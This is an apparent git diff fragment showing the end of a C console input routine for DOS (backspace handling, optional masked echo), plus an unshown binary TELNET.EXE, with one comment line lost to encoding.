					//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 | 
				
			||||||
 | 
								     getch();
 | 
				
			||||||
 | 
								     puttext(1, 1, 80, 25, Buffer);
 | 
				
			||||||
 | 
								     gotoxy( p1, p2 );
 | 
				
			||||||
 | 
								     break;
 | 
				
			||||||
 | 
							     default:
 | 
				
			||||||
 | 
								hicode = 0;
 | 
				
			||||||
 | 
							    }
 | 
				
			||||||
 | 
					     }
 | 
				
			||||||
 | 
					     if ( !ok && hicode == 0)
 | 
				
			||||||
 | 
					     switch( c )
 | 
				
			||||||
 | 
					     {
 | 
				
			||||||
 | 
					      case BS:
 | 
				
			||||||
 | 
							if ( ls > 0 )
 | 
				
			||||||
 | 
							 {
 | 
				
			||||||
 | 
							  ls --;
 | 
				
			||||||
 | 
							  s--;
 | 
				
			||||||
 | 
							  if(cf!=1)
 | 
				
			||||||
 | 
							  {
 | 
				
			||||||
 | 
								  gotoxy( px+ls, py );
 | 
				
			||||||
 | 
								  putch(' ');
 | 
				
			||||||
 | 
								  gotoxy( px+ls, py );
 | 
				
			||||||
 | 
							  } else  gotoxy( px, py );
 | 
				
			||||||
 | 
							 }
 | 
				
			||||||
 | 
							break;
 | 
				
			||||||
 | 
					      default:
 | 
				
			||||||
 | 
							if ( ls < lmax )
 | 
				
			||||||
 | 
							{
 | 
				
			||||||
 | 
							 *s++ = c;
 | 
				
			||||||
 | 
							 ls++;
 | 
				
			||||||
 | 
							 if(cf==1) gotoxy( px, py );
 | 
				
			||||||
 | 
							 else putch(c);
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							break;
 | 
				
			||||||
 | 
					     }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 } while ( ! ok );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 *s = 0;
 | 
				
			||||||
 | 
					 return ls;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										
											BIN
										
									
								
								TELNET.EXE
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								TELNET.EXE
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
		Reference in New Issue
	
	Block a user